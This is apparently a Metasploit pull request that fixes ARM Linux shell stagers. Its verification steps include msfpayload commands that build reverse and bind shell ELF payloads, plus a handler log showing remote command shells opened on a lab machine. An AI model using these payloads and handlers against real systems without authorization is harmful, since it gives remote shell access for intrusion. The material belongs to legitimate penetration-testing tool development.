rapid7/metasploit-framework — pull request #2856 by jvazquez-r7 (2014-01-09 23:42:08+00:00)
Title: Fix ARMLE stagers

Looks like there is no reason for sleep after send the intermediate stages. At first look I thought could be due to avoid races on the stager between the two reads, but after speaking with @jlee-r7 he fixed my thoughts. And I'm with hime and we don't see reason to put the handler to sleep. If we're forgetting something, please, feel free to point it!

In addition the bind_tcp stager was patching the incorrect offset with the LPORT data, because of that, the payload wasn't working if the default 4444 port wasn't used for binding.

Verification

- [ ] Generate ELF containing the shell/reverse_tcp and bind/reverse_tcp payloads for linux armle

```
$ ./msfpayload linux/armle/shell/bind_tcp LPORT=4445 X > /tmp/shell_bind.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/armle/shell/bind_tcp
Length: 232
Options: {"LPORT"=>"4445"}

$ ./msfpayload linux/armle/shell/reverse_tcp LHOST=192.168.172.1 X > /tmp/shell_rev.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/armle/shell/reverse_tcp
Length: 200
Options: {"LHOST"=>"192.168.172.1"}
```

- [ ] Upload them to the target ARMLE linux machine, provide +x permissions and execute

- [ ] Use the msfconsole and exploit/multi/handler to get sessions!

```
msf exploit(handler) > set payload linux/armle/shell/reverse_tcp
payload => linux/armle/shell/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Transmitting stage length value...(72 bytes)
[*] Sending stage (72 bytes) to 192.168.172.134
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.134:59075) at 2014-01-09 17:18:05 -0600

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uname -a
Linux arm 2.6.32-5-versatile #1 Sat Feb 16 13:08:40 UTC 2013 armv5tejl GNU/Linux
file /bin/ls
/bin/ls: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
^C
Abort session 1? [y/N] y

[*] 192.168.172.134 - Command shell session 1 closed. Reason: User exit
msf exploit(handler) > set payload linux/armle/shell/bind_tcp
payload => linux/armle/shell/bind_tcp
msf exploit(handler) > set RHOST 192.168.172.134
RHOST => 192.168.172.134
msf exploit(handler) > set LPORT 4445
LPORT => 4445
^Cmsf exploit(handler) > exploit

[*] Started bind handler
[*] Transmitting stage length value...(72 bytes)
[*] Sending stage (72 bytes) to 192.168.172.134
[*] Starting the payload handler...
[*] Command shell session 7 opened (192.168.172.1:65072 -> 192.168.172.134:4445) at 2014-01-09 17:27:20 -0600

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
ls
logs.log
shell_bind.elf
shell_rev.elf
file /bin/ls
/bin/ls: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
uname -a
Linux arm 2.6.32-5-versatile #1 Sat Feb 16 13:08:40 UTC 2013 armv5tejl GNU/Linux
^C
Abort session 7? [y/N] y
```